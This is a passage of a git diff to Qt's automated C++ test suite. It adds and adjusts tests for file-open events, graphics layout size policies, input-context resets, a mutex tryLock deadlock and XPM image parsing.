+ QCOMPARE(event->openFile(qFile, QFile::Append | QFile::Unbuffered), true);
+ event.reset(0);
+
+ // write to the QFile after the event is closed
+ QString writeContent(QLatin1String("+closed original handles"));
+ QCOMPARE(int(qFile.write(writeContent.toUtf8())), writeContent.size());
+ qFile.close();
+
+ // check the content
+ QFile check("testHandleLifetime");
+ check.open(QFile::ReadOnly);
+ QString content(check.readAll());
+ QCOMPARE(content, QLatin1String("test content+closed original handles"));
+ check.close();
+
+ QFile::remove(QLatin1String("testHandleLifetime"));
+}
+
+void tst_qfileopenevent::multiOpen()
+{
+ QScopedPointer<QFileOpenEvent> event(createFileAndEvent(QLatin1String("testMultiOpen"), QByteArray("itlum")));
+
+ QFile files[5];
+ for (int i=0; i<5; i++) {
+ QCOMPARE(event->openFile(files[i], QFile::ReadOnly), true);
+ }
+ for (int i=0; i<5; i++)
+ files[i].seek(i);
+ QString str;
+ for (int i=4; i>=0; i--) {
+ char c;
+ files[i].getChar(&c);
+ str.append(c);
+ files[i].close();
+ }
+ QCOMPARE(str, QLatin1String("multi"));
+
+ QFile::remove(QLatin1String("testMultiOpen"));
+}
+
+bool tst_qfileopenevent::event(QEvent *event)
+{
+ if (event->type() != QEvent::FileOpen)
+ return QObject::event(event);
+ QFileOpenEvent* fileOpenEvent = static_cast<QFileOpenEvent *>(event);
+ appendFileContent(*fileOpenEvent, "+received");
+ return true;
+}
+
+void tst_qfileopenevent::sendAndReceive()
+{
+ QScopedPointer<QFileOpenEvent> event(createFileAndEvent(QLatin1String("testSendAndReceive"), QByteArray("sending")));
+
+ QCoreApplication::instance()->postEvent(this, event.take());
+ QCoreApplication::instance()->processEvents();
+
+ // QTBUG-17468: On Mac, processEvents doesn't always process posted events
+ QCoreApplication::instance()->sendPostedEvents();
+
+ // check the content
+ QFile check("testSendAndReceive");
+ QCOMPARE(check.open(QFile::ReadOnly), true);
+ QString content(check.readAll());
+ QCOMPARE(content, QLatin1String("sending+received"));
+ check.close();
+
+ QFile::remove(QLatin1String("testSendAndReceive"));
+}
+
+void tst_qfileopenevent::external_data()
+{
+ QTest::addColumn<QString>("filename");
+ QTest::addColumn<QByteArray>("targetContent");
+ QTest::addColumn<bool>("sendHandle");
+
+ QString privateName(QLatin1String("tst_qfileopenevent_external"));
+ QString publicName(QLatin1String("C:\\Data\\tst_qfileopenevent_external"));
+ QByteArray writeSuccess("original+external");
+ QByteArray writeFail("original");
+ QTest::newRow("public name") << publicName << writeSuccess << false;
+ QTest::newRow("data caged name") << privateName << writeFail << false;
+ QTest::newRow("public handle") << publicName << writeSuccess << true;
+ QTest::newRow("data caged handle") << privateName << writeSuccess << true;
+}
+
+void tst_qfileopenevent::external()
+{
+#ifndef Q_OS_SYMBIAN
+ QSKIP("external app file open test only valid in Symbian", SkipAll);
+#else
+
+ QFETCH(QString, filename);
+ QFETCH(QByteArray, targetContent);
+ QFETCH(bool, sendHandle);
+
+ RFile rFile = createRFile(qt_QString2TPtrC(filename), _L8("original"));
+
+ // launch app with the file
+ RApaLsSession apa;
+ QCOMPARE(apa.Connect(), KErrNone);
+ TThreadId threadId;
+ TDataType type(_L8("application/x-tst_qfileopenevent"));
+ if (sendHandle) {
+ QCOMPARE(apa.StartDocument(rFile, type, threadId), KErrNone);
+ rFile.Close();
+ } else {
+ TFileName fullName;
+ rFile.FullName(fullName);
+ rFile.Close();
+ QCOMPARE(apa.StartDocument(fullName, type, threadId), KErrNone);
+ }
+
+ // wait for app exit
+ RThread appThread;
+ if (appThread.Open(threadId) == KErrNone) {
+ TRequestStatus status;
+ appThread.Logon(status);
+ User::WaitForRequest(status);
+ }
+
+ // check the contents
+ QFile check(filename);
+ QCOMPARE(check.open(QFile::ReadOnly), true);
+ QCOMPARE(check.readAll(), targetContent);
+ bool ok = check.remove();
+
+ QFile::remove(filename);
+#endif
+}
+
+QTEST_MAIN(tst_qfileopenevent)
+#include "tst_qfileopenevent.moc"
diff --git a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp
index cf0406c..53781c9 100644
--- a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp
+++ b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp
@@ -980,8 +980,12 @@ void tst_QFileSystemModel::drives()
model.setRootPath(path);
model.fetchMore(QModelIndex());
QFileInfoList drives = QDir::drives();
+ int driveCount = 0;
+ foreach(const QFileInfo& driveRoot, drives)
+ if (driveRoot.exists())
+ driveCount++;
QTest::qWait(5000);
- QTRY_COMPARE(model.rowCount(), drives.count());
+ QTRY_COMPARE(model.rowCount(), driveCount);
}
void tst_QFileSystemModel::dirsBeforeFiles()
diff --git a/tests/auto/qfontdatabase/tst_qfontdatabase.cpp b/tests/auto/qfontdatabase/tst_qfontdatabase.cpp
index fe216e7..b1876b0 100644
--- a/tests/auto/qfontdatabase/tst_qfontdatabase.cpp
+++ b/tests/auto/qfontdatabase/tst_qfontdatabase.cpp
@@ -224,9 +224,6 @@ void tst_QFontDatabase::addAppFont_data()
void tst_QFontDatabase::addAppFont()
{
-#ifdef Q_OS_SYMBIAN
- QSKIP( "Symbian: Application fonts are not yet supported", SkipAll );
-#else
QFETCH(bool, useMemoryFont);
QSignalSpy fontDbChangedSpy(QApplication::instance(), SIGNAL(fontDatabaseChanged()));
@@ -276,7 +273,6 @@ void tst_QFontDatabase::addAppFont()
QCOMPARE(fontDbChangedSpy.count(), 2);
QVERIFY(db.families() == oldFamilies);
-#endif
}
QTEST_MAIN(tst_QFontDatabase)
diff --git a/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp b/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp
index eb8677a..a4598dc 100644
--- a/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp
+++ b/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp
@@ -486,8 +486,6 @@ class ProgressTextTask : public RunFunctionTask<T>
public:
void runFunctor()
{
- while (this->isProgressUpdateNeeded() == false)
- QTest::qSleep(1);
this->setProgressValueAndText(1, QLatin1String("Foo 1"));
while (this->isProgressUpdateNeeded() == false)
@@ -497,6 +495,10 @@ public:
while (this->isProgressUpdateNeeded() == false)
QTest::qSleep(1);
this->setProgressValueAndText(3, QLatin1String("Foo 3"));
+
+ while (this->isProgressUpdateNeeded() == false)
+ QTest::qSleep(1);
+ this->setProgressValueAndText(4, QLatin1String("Foo 4"));
}
};
@@ -524,14 +526,16 @@ void tst_QFutureWatcher::progressText()
QTestEventLoop::instance().enterLoop(5);
QVERIFY(!QTestEventLoop::instance().timeout());
- QCOMPARE(f.progressText(), QLatin1String("Foo 3"));
- QCOMPARE(f.progressValue(), 3);
+ QCOMPARE(f.progressText(), QLatin1String("Foo 4"));
+ QCOMPARE(f.progressValue(), 4);
QVERIFY(progressValues.contains(1));
QVERIFY(progressValues.contains(2));
QVERIFY(progressValues.contains(3));
+ QVERIFY(progressValues.contains(4));
QVERIFY(progressTexts.contains(QLatin1String("Foo 1")));
QVERIFY(progressTexts.contains(QLatin1String("Foo 2")));
QVERIFY(progressTexts.contains(QLatin1String("Foo 3")));
+ QVERIFY(progressTexts.contains(QLatin1String("Foo 4")));
}
}
diff --git a/tests/auto/qglthreads/tst_qglthreads.cpp b/tests/auto/qglthreads/tst_qglthreads.cpp
index 434fd9d..45c8cbc 100644
--- a/tests/auto/qglthreads/tst_qglthreads.cpp
+++ b/tests/auto/qglthreads/tst_qglthreads.cpp
@@ -210,7 +210,7 @@ public:
// That's why we create only small textures.
width = 50;
height = 20;
-#else
+#endif
QImage image(width, height, QImage::Format_RGB32);
QPainter p(&image);
p.fillRect(image.rect(), QColor(rand() % 256, rand() % 256, rand() % 256));
diff --git a/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp b/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp
index 2fb445e..bac17b1 100644
--- a/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp
+++ b/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp
@@ -121,6 +121,11 @@ private slots:
void avoidRecursionInInsertItem();
void styleInfoLeak();
void task236367_maxSizeHint();
+ void spanningItem2x2_data();
+ void spanningItem2x2();
+ void spanningItem2x3_data();
+ void spanningItem2x3();
+ void spanningItem();
void heightForWidth();
void widthForHeight();
void heightForWidthWithSpanning();
@@ -3232,6 +3237,159 @@ void tst_QGraphicsGridLayout::heightForWidthWithSpanning()
QCOMPARE(layout->effectiveSizeHint(Qt::MaximumSize, QSizeF(200, -1)), QSizeF(200, 10000));
}
+Q_DECLARE_METATYPE(QSizePolicy::Policy)
+void tst_QGraphicsGridLayout::spanningItem2x2_data()
+{
+ QTest::addColumn<QSizePolicy::Policy>("sizePolicy");
+ QTest::addColumn<int>("itemHeight");
+ QTest::addColumn<int>("expectedHeight");
+
+ QTest::newRow("A larger spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 39 << 80;
+ QTest::newRow("A larger spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 39 << 80;
+ QTest::newRow("An equally-sized spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 40 << 80;
+ QTest::newRow("An equally-sized spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 40 << 80;
+ QTest::newRow("A smaller spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 41 << 82;
+ QTest::newRow("A smaller spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 41 << 82;
+}
+
+void tst_QGraphicsGridLayout::spanningItem2x2()
+{
+ QFETCH(QSizePolicy::Policy, sizePolicy);
+ QFETCH(int, itemHeight);
+ QFETCH(int, expectedHeight);
+ QGraphicsWidget *form = new QGraphicsWidget(0, Qt::Window);
+ QGraphicsGridLayout *layout = new QGraphicsGridLayout(form);
+ layout->setContentsMargins(0, 0, 0, 0);
+ layout->setSpacing(0);
+
+ QGraphicsWidget *w1 = new QGraphicsWidget;
+ w1->setMinimumSize(80,80);
+ w1->setMaximumSize(80,80);
+
+ QGraphicsWidget *w2 = new QGraphicsWidget;
+ w2->setMinimumSize(80,itemHeight);
+ w2->setPreferredSize(80,itemHeight);
+ w2->setSizePolicy(QSizePolicy::Fixed, sizePolicy);
+
+ QGraphicsWidget *w3 = new QGraphicsWidget;
+ w3->setMinimumSize(80,itemHeight);
+ w3->setPreferredSize(80,itemHeight);
+ w3->setSizePolicy(QSizePolicy::Fixed, sizePolicy);
+
+ layout->addItem(w1, 0, 0, 2, 1);
+ layout->addItem(w2, 0, 1);
+ layout->addItem(w3, 1, 1);
+
+ QCOMPARE(layout->minimumSize(), QSizeF(160,expectedHeight));
+ if(sizePolicy == QSizePolicy::Fixed)
+ QCOMPARE(layout->maximumSize(), QSizeF(160,expectedHeight));
+ else
+ QCOMPARE(layout->maximumSize(), QSizeF(160,QWIDGETSIZE_MAX));
+}
+
+void tst_QGraphicsGridLayout::spanningItem2x3_data()
+{
+ QTest::addColumn<bool>("w1_fixed");
+ QTest::addColumn<bool>("w2_fixed");
+ QTest::addColumn<bool>("w3_fixed");
+ QTest::addColumn<bool>("w4_fixed");
+ QTest::addColumn<bool>("w5_fixed");
+
+ for(int w1 = 0; w1 < 2; w1++)
+ for(int w2 = 0; w2 < 2; w2++)
+ for(int w3 = 0; w3 < 2; w3++)
+ for(int w4 = 0; w4 < 2; w4++)
+ for(int w5 = 0; w5 < 2; w5++) {
+ QString description = QString("Fixed sizes:") + (w1?" w1":"") + (w2?" w2":"") + (w3?" w3":"") + (w4?" w4":"") + (w5?" w5":"");
+ QTest::newRow(description.toLatin1()) << (bool)w1 << (bool)w2 << (bool)w3 << (bool)w4 << (bool)w5;
+ }
+}
+
+void tst_QGraphicsGridLayout::spanningItem2x3()
+{
+ QFETCH(bool, w1_fixed);
+ QFETCH(bool, w2_fixed);
+ QFETCH(bool, w3_fixed);
+ QFETCH(bool, w4_fixed);
+ QFETCH(bool, w5_fixed);
+ QGraphicsGridLayout *layout = new QGraphicsGridLayout;
+ layout->setContentsMargins(0, 0, 0, 0);
+ layout->setSpacing(0);
+
+ QGraphicsWidget *w1 = new QGraphicsWidget;
+ w1->setMinimumSize(80,80);
+ w1->setMaximumSize(80,80);
+ if (w1_fixed)
+ w1->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed);
+
+ QGraphicsWidget *w2 = new QGraphicsWidget;
+ w2->setMinimumSize(80,48);
+ w2->setPreferredSize(80,48);
+ if (w2_fixed)
+ w2->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed);
+
+ QGraphicsWidget *w3 = new QGraphicsWidget;
+ w3->setMinimumSize(80,30);
+ w3->setPreferredSize(80,30);
+ if (w3_fixed)
+ w3->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed);
+
+ QGraphicsWidget *w4 = new QGraphicsWidget;
+ w4->setMinimumSize(80,30);
+ w4->setMaximumSize(80,30);
+ if (w4_fixed)
+ w4->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed);
+
+ QGraphicsWidget *w5 = new QGraphicsWidget;
+ w5->setMinimumSize(40,24);
+ w5->setMaximumSize(40,24);
+ if (w5_fixed)
+ w5->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed);
+
+ layout->addItem(w1, 0, 0, 2, 1);
+ layout->addItem(w2, 0, 1);
+ layout->addItem(w3, 1, 1);
+ layout->addItem(w4, 0, 2);
+ layout->addItem(w5, 1, 2);
+
+ QCOMPARE(layout->minimumSize(), QSizeF(240,80));
+ // Only w2 and w3 grow vertically, so when they have a fixed vertical size policy,
+ // the whole layout cannot grow vertically.
+ if (w2_fixed && w3_fixed)
+ QCOMPARE(layout->maximumSize(), QSizeF(QWIDGETSIZE_MAX,80));
+ else
+ QCOMPARE(layout->maximumSize(), QSizeF(QWIDGETSIZE_MAX,QWIDGETSIZE_MAX));
+}
+
+void tst_QGraphicsGridLayout::spanningItem()
+{
+ QGraphicsWidget *form = new QGraphicsWidget(0, Qt::Window);
+ QGraphicsGridLayout *layout = new QGraphicsGridLayout(form);
+ layout->setContentsMargins(0, 0, 0, 0);
+ layout->setSpacing(0);
+
+ QGraphicsWidget *w1 = new QGraphicsWidget;
+ w1->setMinimumSize(80,80);
+ w1->setMaximumSize(80,80);
+
+ QGraphicsWidget *w2 = new QGraphicsWidget;
+ w2->setMinimumSize(80,38);
+ w2->setPreferredSize(80,38);
+ w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
+
+ QGraphicsWidget *w3 = new QGraphicsWidget;
+ w3->setMinimumSize(80,38);
+ w3->setPreferredSize(80,38);
+ w3->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
+
+ layout->addItem(w1, 0, 0, 2, 1);
+ layout->addItem(w2, 0, 1);
+ layout->addItem(w3, 1, 1);
+
+ QCOMPARE(layout->minimumSize(), QSizeF(160,80));
+ QCOMPARE(layout->maximumSize(), QSizeF(160,80));
+}
+
void tst_QGraphicsGridLayout::stretchAndHeightForWidth()
{
QGraphicsWidget *widget = new QGraphicsWidget(0, Qt::Window);
diff --git a/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp b/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp
index a024f65..62ba1b4 100644
--- a/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp
+++ b/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp
@@ -106,6 +106,7 @@ private slots:
void testAlignmentInLargerLayout();
void testOffByOneInLargerLayout();
void testDefaultAlignment();
+ void combineSizePolicies();
// Task specific tests
void task218400_insertStretchCrash();
@@ -1583,6 +1584,31 @@ void tst_QGraphicsLinearLayout::testDefaultAlignment()
QCOMPARE(w2->geometry(), QRectF(0,50,100,100));
}
+void tst_QGraphicsLinearLayout::combineSizePolicies()
+{
+ QGraphicsWidget *widget = new QGraphicsWidget;
+ QGraphicsLinearLayout *layout = new QGraphicsLinearLayout(Qt::Horizontal, widget);
+ layout->setContentsMargins(0, 0, 0, 0);
+ layout->setSpacing(0);
+
+ QGraphicsWidget *w1 = new QGraphicsWidget;
+ w1->setMaximumSize(200,200);
+ w1->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred);
+ layout->addItem(w1);
+
+ QGraphicsWidget *w2 = new QGraphicsWidget;
+ w2->setPreferredSize(50,50);
+ w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed);
+ layout->addItem(w2);
+ QCOMPARE(layout->maximumHeight(), qreal(200));
+
+ // now remove the fixed vertical size policy, and set instead the maximum height to 50
+ // this should in effect give the same maximumHeight
+ w2->setMaximumHeight(50);
+ w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Preferred);
+ QCOMPARE(layout->maximumHeight(), qreal(200));
+}
+
QTEST_MAIN(tst_QGraphicsLinearLayout)
#include "tst_qgraphicslinearlayout.moc"
diff --git a/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp b/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp
index b221cd9..d446ca7 100644
--- a/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp
+++ b/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp
@@ -3838,6 +3838,23 @@ public:
mutable int queryCalls;
};
+class TestInputContext : public QInputContext
+{
+public:
+ TestInputContext() {}
+
+ QString identifierName() { return QString(); }
+ QString language() { return QString(); }
+
+ void reset() {
+ ++resetCalls;
+ sendEvent(QInputMethodEvent()); }
+
+ bool isComposing() const { return false; }
+
+ int resetCalls;
+};
+
void tst_QGraphicsScene::inputMethod()
{
QFETCH(int, flags);
@@ -3847,14 +3864,22 @@ void tst_QGraphicsScene::inputMethod()
item->setFlags((QGraphicsItem::GraphicsItemFlags)flags);
QGraphicsScene scene;
- QEvent activate(QEvent::WindowActivate);
- QApplication::sendEvent(&scene, &activate);
+ QGraphicsView view(&scene);
+ TestInputContext inputContext;
+ view.setInputContext(&inputContext);
+ view.show();
+ QApplication::setActiveWindow(&view);
+ view.setFocus();
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ inputContext.resetCalls = 0;
scene.addItem(item);
QInputMethodEvent event;
scene.setFocusItem(item);
QCOMPARE(!!(item->flags() & QGraphicsItem::ItemIsFocusable), scene.focusItem() == item);
+ QCOMPARE(inputContext.resetCalls, 0);
item->eventCalls = 0;
qApp->sendEvent(&scene, &event);
@@ -3865,6 +3890,9 @@ void tst_QGraphicsScene::inputMethod()
QCOMPARE(item->queryCalls, callFocusItem ? 1 : 0);
scene.setFocusItem(0);
+ // the input context is reset twice, once because an item has lost focus and again because
+ // the Qt::WA_InputMethodEnabled flag is cleared because no item has focus.
+ QCOMPARE(inputContext.resetCalls, callFocusItem ? 2 : 0);
QCOMPARE(item->eventCalls, callFocusItem ? 2 : 0); // verify correct delivery of "reset" event
QCOMPARE(item->queryCalls, callFocusItem ? 1 : 0); // verify that value is unaffected
diff --git a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
index cf697bb..ca6b4d2 100644
--- a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
+++ b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
@@ -2967,7 +2967,7 @@ protected:
void tst_QGraphicsView::task186827_deleteReplayedItem()
{
// make sure the mouse is not over the window, causing spontaneous mouse moves
- QCursor::setPos(0, 0);
+ QCursor::setPos(1, 1);
QGraphicsScene scene;
scene.addRect(0, 0, 50, 50);
@@ -3357,6 +3357,10 @@ void tst_QGraphicsView::moveItemWhileScrolling()
int a = adjustForAntialiasing ? 2 : 1;
expectedRegion += QRect(40, 50, 10, 10).adjusted(-a, -a, a, a);
expectedRegion += QRect(40, 60, 10, 10).adjusted(-a, -a, a, a);
+#ifdef QT_MAC_USE_COCOA
+ if (QApplicationPrivate::graphicsSystem() == 0)
+ QEXPECT_FAIL("", "This will fail with Cocoa because paint events are not send in the order expected by graphicsview", Continue);
+#endif
COMPARE_REGIONS(view.lastPaintedRegion, expectedRegion);
}
@@ -4142,11 +4146,14 @@ void tst_QGraphicsView::inputContextReset()
inputContext.resets = 0;
scene.setFocusItem(0);
- QCOMPARE(inputContext.resets, 1);
+ // the input context is reset twice, once because an item has lost focus and again because
+ // the Qt::WA_InputMethodEnabled flag is cleared because no item has focus.
+ QCOMPARE(inputContext.resets, 2);
// introduce another item that is focusable but does not accept input methods
QGraphicsItem *item2 = new QGraphicsRectItem;
- item1->setFlags(QGraphicsItem::ItemIsFocusable);
+ item2->setFlags(QGraphicsItem::ItemIsFocusable);
+ scene.addItem(item2);
inputContext.resets = 0;
scene.setFocusItem(item2);
@@ -4155,6 +4162,11 @@ void tst_QGraphicsView::inputContextReset()
inputContext.resets = 0;
scene.setFocusItem(item1);
QCOMPARE(inputContext.resets, 0);
+
+ // test changing between between items that accept input methods.
+ item2->setFlags(QGraphicsItem::ItemIsFocusable | QGraphicsItem::ItemAcceptsInputMethod);
+ scene.setFocusItem(item2);
+ QCOMPARE(inputContext.resets, 1);
}
void tst_QGraphicsView::indirectPainting()
@@ -4500,7 +4512,7 @@ void tst_QGraphicsView::hoverLeave()
QVERIFY(item->receivedEnterEvent);
QCOMPARE(item->enterWidget, view.viewport());
- QCursor::setPos(0,0);
+ QCursor::setPos(1,1);
QTest::qWait(200);
QVERIFY(item->receivedLeaveEvent);
QCOMPARE(item->leaveWidget, view.viewport());
diff --git a/tests/auto/qhttp/tst_qhttp.cpp b/tests/auto/qhttp/tst_qhttp.cpp
index f706228..61123c2 100644
--- a/tests/auto/qhttp/tst_qhttp.cpp
+++ b/tests/auto/qhttp/tst_qhttp.cpp
@@ -856,7 +856,7 @@ void tst_QHttp::proxy2()
QTestEventLoop::instance().enterLoop(30);
QVERIFY(!QTestEventLoop::instance().timeout());
- QCOMPARE(readyRead_ba.count("Welcome to fluke.troll.no"), 2);
+ QCOMPARE(readyRead_ba.count("Welcome to qt-test-server"), 2);
readyRead_ba.clear();
}
@@ -891,7 +891,7 @@ void tst_QHttp::proxy3()
QTestEventLoop::instance().enterLoop(30);
QVERIFY(!QTestEventLoop::instance().timeout());
- QCOMPARE(readyRead_ba.count("Welcome to fluke.troll.no"), 2);
+ QCOMPARE(readyRead_ba.count("Welcome to qt-test-server"), 2);
readyRead_ba.clear();
}
diff --git a/tests/auto/qimagereader/images/corrupt-pixel-count.xpm b/tests/auto/qimagereader/images/corrupt-pixel-count.xpm
new file mode 100644
index 0000000..3a736ff
--- /dev/null
+++ b/tests/auto/qimagereader/images/corrupt-pixel-count.xpm
@@ -0,0 +1,11 @@
+/* XPM */
+static const char *marble_xpm[] = {
+/* width height num_colors chars_per_pixel */
+"2 2 2 -2",
+/* colors */
+"a c #adadad",
+"b c #dedede",
+/* pixels */
+"ab",
+"ba"
+};
diff --git a/tests/auto/qimagereader/tst_qimagereader.cpp b/tests/auto/qimagereader/tst_qimagereader.cpp
index 7c2aee8..f02fd6a 100644
--- a/tests/auto/qimagereader/tst_qimagereader.cpp
+++ b/tests/auto/qimagereader/tst_qimagereader.cpp
@@ -1410,6 +1410,9 @@ void tst_QImageReader::readFromResources_data()
QTest::newRow("corrupt-pixels.xpm") << QString("corrupt-pixels.xpm")
<< QByteArray("xpm") << QSize(0, 0)
<< QString("QImage: XPM pixels missing on image line 3");
+ QTest::newRow("corrupt-pixel-count.xpm") << QString("corrupt-pixel-count.xpm")
+ << QByteArray("xpm") << QSize(0, 0)
+ << QString("");
QTest::newRow("marble.xpm") << QString("marble.xpm")
<< QByteArray("xpm") << QSize(240, 240)
<< QString("");
diff --git a/tests/auto/qinputcontext/tst_qinputcontext.cpp b/tests/auto/qinputcontext/tst_qinputcontext.cpp
index 800f9de..6a047f2 100644
--- a/tests/auto/qinputcontext/tst_qinputcontext.cpp
+++ b/tests/auto/qinputcontext/tst_qinputcontext.cpp
@@ -88,6 +88,7 @@ private slots:
void closeSoftwareInputPanel();
void selections();
void focusProxy();
+ void contextInheritance();
void symbianTestCoeFepInputContext_data();
void symbianTestCoeFepInputContext();
void symbianTestCoeFepAutoCommit_data();
@@ -473,6 +474,37 @@ void tst_QInputContext::focusProxy()
QCOMPARE(gic->focusWidget(), &proxy);
}
+void tst_QInputContext::contextInheritance()
+{
+ QWidget parent;
+ QWidget child(&parent);
+
+ parent.setAttribute(Qt::WA_InputMethodEnabled, true);
+ child.setAttribute(Qt::WA_InputMethodEnabled, true);
+
+ QCOMPARE(parent.inputContext(), qApp->inputContext());
+ QCOMPARE(child.inputContext(), qApp->inputContext());
+
+ QInputContext *qic = new QFilterInputContext;
+ parent.setInputContext(qic);
+ QCOMPARE(parent.inputContext(), qic);
+ QCOMPARE(child.inputContext(), qic);
+
+ parent.setAttribute(Qt::WA_InputMethodEnabled, false);
+ QVERIFY(!parent.inputContext());
+ QCOMPARE(child.inputContext(), qic);
+ parent.setAttribute(Qt::WA_InputMethodEnabled, true);
+
+ parent.setInputContext(0);
+ QCOMPARE(parent.inputContext(), qApp->inputContext());
+ QCOMPARE(child.inputContext(), qApp->inputContext());
+
+ qic = new QFilterInputContext;
+ qApp->setInputContext(qic);
+ QCOMPARE(parent.inputContext(), qic);
+ QCOMPARE(child.inputContext(), qic);
+}
+
#ifdef QT_WEBKIT_LIB
class AutoWebView : public QWebView
{
diff --git a/tests/auto/qlayout/qlayout.pro b/tests/auto/qlayout/qlayout.pro
index dfa8584..bb1ae4a 100644
--- a/tests/auto/qlayout/qlayout.pro
+++ b/tests/auto/qlayout/qlayout.pro
@@ -10,5 +10,11 @@ wince*|symbian: {
addFiles.files = baseline
addFiles.path = .
DEPLOYMENT += addFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+
+ test_data.files = baseline/*
+ test_data.path = $${target.path}/baseline
+ INSTALLS += test_data
}
diff --git a/tests/auto/qlayout/tst_qlayout.cpp b/tests/auto/qlayout/tst_qlayout.cpp
index 65eae55..3090ebb 100644
--- a/tests/auto/qlayout/tst_qlayout.cpp
+++ b/tests/auto/qlayout/tst_qlayout.cpp
@@ -156,7 +156,8 @@ void tst_QLayout::smartMaxSize()
{
QVector<int> expectedWidths;
- QFile f(QLatin1String("baseline/smartmaxsize"));
+ QFile f(QLatin1String(SRCDIR "/baseline/smartmaxsize"));
+
QCOMPARE(f.open(QIODevice::ReadOnly | QIODevice::Text), true);
QTextStream stream(&f);
diff --git a/tests/auto/qmake/testcompiler.cpp b/tests/auto/qmake/testcompiler.cpp
index 021fe9b..dbdeee8 100644
--- a/tests/auto/qmake/testcompiler.cpp
+++ b/tests/auto/qmake/testcompiler.cpp
@@ -142,23 +142,16 @@ bool TestCompiler::runCommand( QString cmdline )
bool failed = false;
child.setReadChannel(QProcess::StandardError);
- while (QProcess::Running == child.state()) {
- if (child.waitForReadyRead(1000)) {
- QString output = child.readAllStandardError();
- testOutput_.append(output);
-
- output.prepend('\n');
- if (output.contains("\nProject MESSAGE: FAILED"))
- failed = true;
- }
- }
-
child.waitForFinished(-1);
- return failed
- ? false
- : (child.exitStatus() == QProcess::NormalExit)
- && (child.exitCode() == 0);
+ foreach (const QByteArray &output, child.readAllStandardError().split('\n')) {
+ testOutput_.append(QString::fromLocal8Bit(output));
+
+ if (output.startsWith("Project MESSAGE: FAILED"))
+ failed = true;
+ }
+
+ return !failed && child.exitStatus() == QProcess::NormalExit && child.exitCode() == 0;
}
void TestCompiler::setBaseCommands( QString makeCmd, QString qmakeCmd )
diff --git a/tests/auto/qmutex/tst_qmutex.cpp b/tests/auto/qmutex/tst_qmutex.cpp
index 3c4c767..ea983cb 100644
--- a/tests/auto/qmutex/tst_qmutex.cpp
+++ b/tests/auto/qmutex/tst_qmutex.cpp
@@ -67,6 +67,7 @@ private slots:
void lock_unlock_locked_tryLock();
void stressTest();
void tryLockRace();
+ void qtbug16115_trylock();
};
static const int iterations = 100;
@@ -464,5 +465,42 @@ void tst_QMutex::tryLockRace()
TryLockRaceThread::mutex.unlock();
}
+static volatile int qtbug16115_trylock_counter;
+
+void tst_QMutex::qtbug16115_trylock()
+{
+ //Used to deadlock on unix
+ struct TrylockThread : QThread {
+ TrylockThread(QMutex &mut) : mut(mut) {}
+ QMutex &mut;
+ void run() {
+ for (int i = 0; i < 1000000; ++i) {
+ if (mut.tryLock(0)) {
+ Q_ASSERT((++qtbug16115_trylock_counter) == 1);
+ Q_ASSERT((--qtbug16115_trylock_counter) == 0);
+ mut.unlock();
+ }
+ }
+ }
+ };
+ QMutex mut;
+ TrylockThread t1(mut);
+ TrylockThread t2(mut);
+ TrylockThread t3(mut);
+ t1.start();
+ t2.start();
+ t3.start();
+
+ for (int i = 0; i < 1000000; ++i) {
+ mut.lock();
+ Q_ASSERT((++qtbug16115_trylock_counter) == 1);
+ Q_ASSERT((--qtbug16115_trylock_counter) == 0);
+ mut.unlock();
+ }
+ t1.wait();
+ t2.wait();
+ t3.wait();
+}
+
QTEST_MAIN(tst_QMutex)
#include "tst_qmutex.moc"
diff --git a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
index 91eff6f..3715162 100644
--- a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
+++ b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
@@ -213,6 +213,7 @@ private Q_SLOTS:
void ioGetFromBuiltinHttp();
void ioGetFromHttpWithReuseParallel();
void ioGetFromHttpWithReuseSequential();
+ void ioGetFromHttpWithAuth_data();
void ioGetFromHttpWithAuth();
void ioGetFromHttpWithAuthSynchronous();
